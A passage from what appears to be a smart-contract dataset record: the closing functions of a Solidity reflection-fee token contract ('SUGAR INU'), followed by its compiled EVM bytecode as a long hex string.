bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063c9567bf91161006f578063c9567bf9146103d9578063cba0e996146103f0578063cbd0dde51461042d578063d543dbeb14610456578063dd62ed3e1461047f578063e8078d94146104bc57610135565b8063715018a6146103185780638da5cb5b1461032f57806395d89b411461035a578063a9059cbb14610385578063c3c8cd80146103c257610135565b80633bbac579116100f25780633bbac5791461023557806358208b3f1461027257806363aad1941461029b5780636fc3eaec146102c457806370a08231146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104d3565b60405161015c91906131ce565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612cce565b610510565b60405161019991906131b3565b60405180910390f35b3480156101ae57600080fd5b506101b761052e565b6040516101c49190613390565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612c7f565b61053e565b60405161020191906131b3565b60405180910390f35b34801561021657600080fd5b5061021f610617565b60405161022c9190613405565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190612bf1565b610620565b60405161026991906131b3565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190612d0a565b610676565b005b3480156102a757600080fd5b506102c260048036038101906102bd9190612d4b565b6107c6565b005b3480156102d057600080fd5b506102d9610844565b005b3480156102e757600080fd5b5061030260048036038101906102fd9190612bf1565b6108b6565b60405161030f9190613390565b60405180910390f35b34801561032457600080fd5b5061032d610907565b005b34801561033b57600080fd5b50610344610a5a565b60405161035191906130e5565b60405180910390f35b34801561036657600080fd5b5061036f610a83565b60405161037c91906131ce565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612cce565b610ac0565b6040516103b991906131b3565b60405180910390f35b3480156103ce57600080fd5b506103d7610ade565b005b3480156103e557600080fd5b506103ee610b58565b005b3480156103fc57600080fd5b5061041760048036038101906104129190612bf1565b610c0a565b60405161042491906131b3565b60405180910390f35b34801561043957600080fd5b50610454600480360381019061044f9190612bf1565b610c60565b005b34801561046257600080fd5b5061047d60048036038101906104789190612d9d565b610d50565b005b34801561048b57600080fd5b506104a660048036038101906104a19190612c43565b610e98565b6040516104b39190613390565b60405180910390f35b3480156104c857600080fd5b506104d1610f1f565b005b60606040518060400160405280600981526020017f535547415220494e550000000000000000000000000000000000000000000000815250905090565b600061052461051d61145e565b8484611466565b6001905092915050565b6000670de0b6b3a7640000905090565b600061054b848484611631565b61060c8461055761145e565b61060785604051806060016040528060288152602001613af260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105bd61145e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec99092919063ffffffff16565b611466565b600190509392505050565b60006009905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61067e61145e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610702906132b0565b60405180910390fd5b60005b81518110156107c2576001600c6000848481518110610756577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ba906136a6565b91505061070e565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661080761145e565b73ffffffffffffffffffffffffffffffffffffffff161461082757600080fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661088561145e565b73ffffffffffffffffffffffffffffffffffffffff16146108a557600080fd5b60004790506108b381611f2d565b50565b6000610900600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204e565b9050919050565b61090f61145e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906132b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5355474152000000000000000000000000000000000000000000000000000000815250905090565b6000610ad4610acd61145e565b8484611631565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f61145e565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a306108b6565b9050610b55816120bc565b50565b610b6061145e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be4906132b0565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610c6861145e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cec906132b0565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d5861145e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc906132b0565b60405180910390fd5b60008111610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90613270565b60405180910390fd5b610e566064610e4883670de0b6b3a76400006123b690919063ffffffff16565b61243190919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610e8d9190613390565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2761145e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab906132b0565b60405180910390fd5b601160149054906101000a900460ff1615611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90613330565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611466565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110d957600080fd5b505afa1580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111119190612c1a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117357600080fd5b505afa158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab9190612c1a565b6040518363ffffffff1660e01b81526004016111c8929190613100565b602060405180830381600087803b1580156111e257600080fd5b505af11580156111f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121a9190612c1a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112a3306108b6565b6000806112ae610a5a565b426040518863ffffffff1660e01b81526004016112d096959493929190613152565b6060604051808303818588803b1580156112e957600080fd5b505af11580156112fd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113229190612dc6565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550662386f26fc10000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611408929190613129565b602060405180830381600087803b15801561142257600080fd5b505af1158015611436573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145a9190612d74565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cd90613310565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90613230565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116249190613390565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906132f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611711576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611708906131f0565b60405180910390fd5b60008111611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174b906132d0565b60405180910390fd5b61175c610a5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ca575061179a610a5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e0657601160179054906101000a900460ff1615611a4c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a65750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119005750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4b57601160149054906101000a900460ff16611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b90613350565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661199561145e565b73ffffffffffffffffffffffffffffffffffffffff161480611a0b5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119f361145e565b73ffffffffffffffffffffffffffffffffffffffff16145b611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4190613370565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a8f57601254811115611a8e57600080fd5b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b335750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b895750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b9257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c3d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c935750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cab5750601160179054906101000a900460ff165b15611d4c5742600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cfb57600080fd5b600f42611d0891906134c6565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611d57306108b6565b9050601160159054906101000a900460ff16158015611dc45750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ddc5750601160169054906101000a900460ff165b15611e0457611dea816120bc565b60004790506000811115611e0257611e0147611f2d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ead5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611eb757600090505b611ec38484848461247b565b50505050565b6000838311158290611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0891906131ce565b60405180910390fd5b5060008385611f2091906135a7565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f90600a611f826005866123b690919063ffffffff16565b61243190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fbb573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61201f600a6120116005866123b690919063ffffffff16565b61243190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561204a573d6000803e3d6000fd5b5050565b6000600654821115612095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208c90613210565b60405180910390fd5b600061209f6124a8565b90506120b4818461243190919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561211a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121485781602001602082028036833780820191505090505b5090503081600081518110612186577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561222857600080fd5b505afa15801561223c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122609190612c1a565b8160018151811061229a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061230130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611466565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123659594939291906133ab565b600060405180830381600087803b15801561237f57600080fd5b505af1158015612393573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156123c9576000905061242b565b600082846123d7919061354d565b90508284826123e6919061351c565b14612426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241d90613290565b60405180910390fd5b809150505b92915050565b600061247383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124d3565b905092915050565b8061248957612488612536565b5b612494848484612579565b806124a2576124a1612744565b5b50505050565b60008060006124b5612758565b915091506124cc818361243190919063ffffffff16565b9250505090565b6000808311829061251a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251191906131ce565b60405180910390fd5b5060008385612529919061351c565b9050809150509392505050565b600060085414801561254a57506000600954145b1561255457612577565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b60008060008060008061258b876127b7565b9550955095509550955095506125e986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061267e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ca816128c7565b6126d48483612984565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127319190613390565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b600080600060065490506000670de0b6b3a7640000905061278c670de0b6b3a764000060065461243190919063ffffffff16565b8210156127aa57600654670de0b6b3a76400009350935050506127b3565b81819350935050505b9091565b60008060008060008060008060006127d48a6008546009546129be565b92509250925060006127e46124a8565b905060008060006127f78e878787612a54565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061286183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec9565b905092915050565b600080828461287891906134c6565b9050838110156128bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b490613250565b60405180910390fd5b8091505092915050565b60006128d16124a8565b905060006128e882846123b690919063ffffffff16565b905061293c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129998260065461281f90919063ffffffff16565b6006819055506129b48160075461286990919063ffffffff16565b6007819055505050565b6000806000806129ea60646129dc888a6123b690919063ffffffff16565b61243190919063ffffffff16565b90506000612a146064612a06888b6123b690919063ffffffff16565b61243190919063ffffffff16565b90506000612a3d82612a2f858c61281f90919063ffffffff16565b61281f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a6d85896123b690919063ffffffff16565b90506000612a8486896123b690919063ffffffff16565b90506000612a9b87896123b690919063ffffffff16565b90506000612ac482612ab6858761281f90919063ffffffff16565b61281f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612af0612aeb84613445565b613420565b90508083825260208201905082856020860282011115612b0f57600080fd5b60005b85811015612b3f5781612b258882612b49565b845260208401935060208301925050600181019050612b12565b5050509392505050565b600081359050612b5881613aac565b92915050565b600081519050612b6d81613aac565b92915050565b600082601f830112612b8457600080fd5b8135612b94848260208601612add565b91505092915050565b600081359050612bac81613ac3565b92915050565b600081519050612bc181613ac3565b92915050565b600081359050612bd681613ada565b92915050565b600081519050612beb81613ada565b92915050565b600060208284031215612c0357600080fd5b6000612c1184828501612b49565b91505092915050565b600060208284031215612c2c57600080fd5b6000612c3a84828501612b5e565b91505092915050565b60008060408385031215612c5657600080fd5b6000612c6485828601612b49565b9250506020612c7585828601612b49565b9150509250929050565b600080600060608486031215612c9457600080fd5b6000612ca286828701612b49565b9350506020612cb386828701612b49565b9250506040612cc486828701612bc7565b9150509250925092565b60008060408385031215612ce157600080fd5b6000612cef85828601612b49565b9250506020612d0085828601612bc7565b9150509250929050565b600060208284031215612d1c57600080fd5b600082013567ffffffffffffffff811115612d3657600080fd5b612d4284828501612b73565b91505092915050565b600060208284031215612d5d57600080fd5b6000612d6b84828501612b9d565b91505092915050565b600060208284031215612d8657600080fd5b6000612d9484828501612bb2565b91505092915050565b600060208284031215612daf57600080fd5b6000612dbd84828501612bc7565b91505092915050565b600080600060608486031215612ddb57600080fd5b6000612de986828701612bdc565b9350506020612dfa86828701612bdc565b9250506040612e0b86828701612bdc565b9150509250925092565b6000612e218383612e2d565b60208301905092915050565b612e36816135db565b82525050565b612e45816135db565b82525050565b6000612e5682613481565b612e6081856134a4565b9350612e6b83613471565b8060005b83811015612e9c578151612e838882612e15565b9750612e8e83613497565b925050600181019050612e6f565b5085935050505092915050565b612eb2816135ed565b82525050565b612ec181613630565b82525050565b6000612ed28261348c565b612edc81856134b5565b9350612eec818560208601613642565b612ef58161377c565b840191505092915050565b6000612f0d6023836134b5565b9150612f188261378d565b604082019050919050565b6000612f30602a836134b5565b9150612f3b826137dc565b604082019050919050565b6000612f536022836134b5565b9150612f5e8261382b565b604082019050919050565b6000612f76601b836134b5565b9150612f818261387a565b602082019050919050565b6000612f99601d836134b5565b9150612fa4826138a3565b602082019050919050565b6000612fbc6021836134b5565b9150612fc7826138cc565b604082019050919050565b6000612fdf6020836134b5565b9150612fea8261391b565b602082019050919050565b60006130026029836134b5565b915061300d82613944565b604082019050919050565b60006130256025836134b5565b915061303082613993565b604082019050919050565b60006130486024836134b5565b9150613053826139e2565b604082019050919050565b600061306b6017836134b5565b915061307682613a31565b602082019050919050565b600061308e6018836134b5565b915061309982613a5a565b602082019050919050565b60006130b16011836134b5565b91506130bc82613a83565b602082019050919050565b6130d081613619565b82525050565b6130df81613623565b82525050565b60006020820190506130fa6000830184612e3c565b92915050565b60006040820190506131156000830185612e3c565b6131226020830184612e3c565b9392505050565b600060408201905061313e6000830185612e3c565b61314b60208301846130c7565b9392505050565b600060c0820190506131676000830189612e3c565b61317460208301886130c7565b6131816040830187612eb8565b61318e6060830186612eb8565b61319b6080830185612e3c565b6131a860a08301846130c7565b979650505050505050565b60006020820190506131c86000830184612ea9565b92915050565b600060208201905081810360008301526131e88184612ec7565b905092915050565b6000602082019050818103600083015261320981612f00565b9050919050565b6000602082019050818103600083015261322981612f23565b9050919050565b6000602082019050818103600083015261324981612f46565b9050919050565b6000602082019050818103600083015261326981612f69565b9050919050565b6000602082019050818103600083015261328981612f8c565b9050919050565b600060208201905081810360008301526132a981612faf565b9050919050565b600060208201905081810360008301526132c981612fd2565b9050919050565b600060208201905081810360008301526132e981612ff5565b9050919050565b6000602082019050818103600083015261330981613018565b9050919050565b600060208201905081810360008301526133298161303b565b9050919050565b600060208201905081810360008301526133498161305e565b9050919050565b6000602082019050818103600083015261336981613081565b9050919050565b60006020820190508181036000830152613389816130a4565b9050919050565b60006020820190506133a560008301846130c7565b92915050565b600060a0820190506133c060008301886130c7565b6133cd6020830187612eb8565b81810360408301526133df8186612e4b565b90506133ee6060830185612e3c565b6133fb60808301846130c7565b9695505050505050565b600060208201905061341a60008301846130d6565b92915050565b600061342a61343b565b90506134368282613675565b919050565b6000604051905090565b600067ffffffffffffffff8211156134605761345f61374d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134d182613619565b91506134dc83613619565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613511576135106136ef565b5b828201905092915050565b600061352782613619565b915061353283613619565b9250826135425761354161371e565b5b828204905092915050565b600061355882613619565b915061356383613619565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359c5761359b6136ef565b5b828202905092915050565b60006135b282613619565b91506135bd83613619565b9250828210156135d0576135cf6136ef565b5b828203905092915050565b60006135e6826135f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061363b82613619565b9050919050565b60005b83811015613660578082015181840152602081019050613645565b8381111561366f576000848401525b50505050565b61367e8261377c565b810181811067ffffffffffffffff8211171561369d5761369c61374d565b5b80604052505050565b60006136b182613619565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136e4576136e36136ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ab5816135db565b8114613ac057600080fd5b50565b613acc816135ed565b8114613ad757600080fd5b50565b613ae381613619565b8114613aee57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220620caf9d6febcf56258ba4ac052ff87cdb3117ceb84668